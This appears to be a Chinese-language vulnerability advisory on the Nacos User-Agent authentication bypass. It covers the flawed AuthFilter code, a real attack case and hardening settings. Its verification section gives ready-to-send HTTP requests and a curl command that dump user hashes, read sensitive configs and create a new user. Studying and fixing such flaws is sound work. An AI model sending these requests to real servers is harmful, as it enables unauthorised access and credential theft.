某cos未授权访问漏洞和影响案例
字数 1467 2025-08-18 11:35:59
Nacos 鉴权绕过漏洞分析与防御指南
1. Nacos 简介
Nacos 是一个动态服务发现、配置和服务管理平台,用于构建云原生应用和服务基础设施。主要功能包括:
- 服务发现与健康监测
- 动态配置管理
- 服务元数据与流量管理
- 支持多种服务类型:Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等
2. 漏洞概述
Nacos 存在一个由于不当处理 User-Agent 和 URL 路径导致的鉴权绕过漏洞,攻击者可利用该漏洞:
- 绕过身份验证获取用户列表
- 查看敏感配置信息(如数据库密码)
- 创建新用户账户
- 获取系统管理权限
影响版本
- Nacos <= 2.0.0-ALPHA.1
3. 漏洞验证方法
3.1 检测目标是否为 Nacos
请求:
GET /nacos/ HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
响应中包含 <title>Nacos</title> 即可确认目标为 Nacos。
3.2 获取用户列表
请求:
GET /nacos/v1/auth/users?pageNo=1&pageSize=900 HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
响应示例:
{
"totalCount":1,
"pageNumber":1,
"pagesAvailable":1,
"pageItems":[
{
"username":"nacos",
"password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
默认账号为 nacos,默认密码为 nacos(密码为 bcrypt 哈希)。
3.3 查看敏感配置
请求:
GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
可能获取到数据库密码等敏感信息。
3.4 创建新用户
使用 curl 命令:
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
或发送 HTTP 请求:
POST /nacos/v1/auth/users HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27
username=test&password=test
成功响应:
{"code":200,"message":"create user ok!","data":null}
4. 漏洞分析
漏洞位于 com.alibaba.nacos.core.auth.AuthFilter#doFilter 方法中:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
}
// ... 其他代码
}
4.1 主要问题点
-
User-Agent 白名单绕过:
- 默认
authConfigs.isEnableUserAgentAuthWhite()为 true - 当 User-Agent 以 "Nacos-Server" 开头时,直接跳过鉴权
- 默认
-
路径解析问题:
- 通过特殊构造 URL 路径(如添加末尾斜杠)可使
methodsCache.getMethod(req)返回 null - 导致绕过后续鉴权逻辑
- 通过特殊构造 URL 路径(如添加末尾斜杠)可使
-
修复机制缺陷:
- 即使配置了
nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value - 在不匹配时未正确处理拒绝访问逻辑
- 即使配置了
5. 实际攻击案例
- 攻击者发现开源博客项目使用 Nacos
- 通过漏洞获取配置信息,包含 MySQL 和 Redis 的明文密码
- 利用开放的 3306 端口直接连接数据库
- 获取或篡改数据库内容
6. 修复方案
在 conf/application.properties 中配置:
# 开启鉴权
nacos.core.auth.enabled=true
# 关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false
# 配置自定义键值对
nacos.core.auth.server.identity.key=自定义键
nacos.core.auth.server.identity.value=自定义值
6.1 修复步骤详解
-
启用鉴权:
nacos.core.auth.enabled=true -
禁用 User-Agent 白名单:
nacos.core.auth.enable.userAgentAuthWhite=false -
配置自定义身份验证:
nacos.core.auth.server.identity.key=aaanacos.core.auth.server.identity.value=bbb- 键值对可自定义
- 确保在生产环境使用强密码
-
升级到最新版本:
- 升级到 Nacos 2.0.0-ALPHA.1 以上版本
7. 安全建议
-
最小权限原则:
- 限制 Nacos 管理界面的访问IP
- 使用防火墙规则限制访问端口
-
密码安全:
- 修改默认账号密码
- 使用强密码策略
-
配置加密:
- 对敏感配置信息进行加密存储
- 避免在配置中存储明文密码
-
网络隔离:
- 将 Nacos 部署在内网环境
- 避免将数据库等服务端口暴露到公网
-
定期审计:
- 检查用户列表和权限设置
- 监控异常登录行为
8. 总结
Nacos 鉴权绕过漏洞是一个严重的安全问题,攻击者可利用该漏洞完全控制系统。通过正确配置鉴权参数、禁用危险功能并及时升级,可以有效防御此类攻击。管理员应定期检查系统安全配置,确保遵循最佳安全实践。